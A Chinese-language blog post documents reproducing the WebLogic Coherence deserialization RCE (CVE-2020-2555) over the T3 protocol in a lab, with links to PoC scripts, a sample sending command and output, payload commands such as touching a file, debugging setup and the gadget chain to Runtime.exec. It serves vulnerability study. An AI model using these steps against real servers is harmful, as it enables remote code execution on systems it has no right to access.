[CVE-2020-2555]weblogic coherence 反序列化RCE via t3

PoC:
https://github.com/Y4er/CVE-2020-2555/blob/master/CVE-2020-2555.java

这个weblogic t3协议发包工具可以用来对weblogic基于t3协议触发的反序列化漏洞进行利用:
在这里插入图片描述
发送t3数据包可以使用
https://github.com/Y4er/CVE-2020-2555/blob/master/weblogic_t3.py
传入被反序列化对象的文件名即可:

$ python2 weblogic_t3.py 127.0.0.1 7001 CVE-2020-2555.ser                                          [15:33:15]
[+] Connecting to 127.0.0.1 port 7001
sending "t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

"
received "HELO:12.1.3.0.0.false
AS:2048
HL:19
MS:10000000

"
[+] Sending payload...
received ""

ser文件中包含的执行的命令是:

/bin/touch /tmp/test_for_weblogic

在这里插入图片描述
也可以用:
https://github.com/Coalfire-Research/java-deserialization-exploits/blob/master/WebLogic/weblogic.py

用南哥那个环境搭建工具,弄了一下没成功,不知道是不是coherence.jar包的问题。
据黑哥说,“这个漏洞条件有点多,价值不是特别大”,算了吧。据说不是默认配置?不过学习了使用t3协议发送发序列化对象数据的方式。

参考:

  • https://hu3sky.github.io/2020/03/08/CVE-2020-2555%20%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
  • https://www.cnblogs.com/xdp-gacl/p/4140683.html
  • http://blog.itpub.net/28698327/viewspace-777214/

不过后来用windows安装之后,利用成功了。

python2 weblogic_t3.py 192.168.170.248 7001 CVE-2020-2555_cmd_c_calc.ser

在这里插入图片描述

环境:
jdk :1.7.0_79
weblogic:fmw_12.1.3.0.0_wls.jar
安装时选择了“含示例的完整安装”。
在这里插入图片描述

然后coherence.jar包存在于这些地方:
在这里插入图片描述
尝试使用默认选项进行安装:
在这里插入图片描述
在这里插入图片描述
这两个选项我都没选,利用也成功了。
coherence.jar包的位置:
在这里插入图片描述
我以为只有选择“含示例的完整安装”才会有,原来默认状态安装也会有。

调试

参考南哥的weblogic设置断点的代码:
https://github.com/QAX-A-Team/WeblogicEnvironment/blob/master/scripts/open_debug_mode.sh
Windows需要在
在这里插入图片描述
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd
恰当的位置加上一行代码:

set debugFlag=true

在这里插入图片描述
端口:8453
在这里插入图片描述
在IDEA中配置好相应的jar包,
javax/management/BadAttributeValueExpException#readObject下断点。
居然调试进来了:
看一下调用栈(并没有很长):

readObject:69, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

(插一句)从这里
weblogic/socket/BaseAbstractMuxableSocket#dispatch
开始处理t3协议:
在这里插入图片描述

然后跟一下这个gadget chain的流程吧,
gadget chain:

javax.management.BadAttributeValueExpException#readObject()->
    coherence.jar!com.tangosol.util.filter.LimitFilter#toString()->
        coherence.jar!com.tangosol.util.extractor.ChainedExtractor#extract()->
            coherence.jar!com.tangosol.util.extractor.ReflectionExtractor#extract()->
                Method#invoke()->
                ...
                coherence.jar!com.tangosol.util.extractor.ReflectionExtractor#extract()->
                    Method#invoke()->
                        Runtime#exec()

在这里插入图片描述
coherence.jar!/com/tangosol/util/extractor/ChainedExtractor#extract
在这里进行循环:oTarget对象循环被赋值,最终变成Runtime对象
在这里插入图片描述
最终执行到:
在这里插入图片描述
难道我F8按快了,这么多计算器?
在这里插入图片描述

原理分析及PoC构造参考:

发布了601 篇原创文章 · 获赞 101 · 访问量 100万+

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/104747862
今日推荐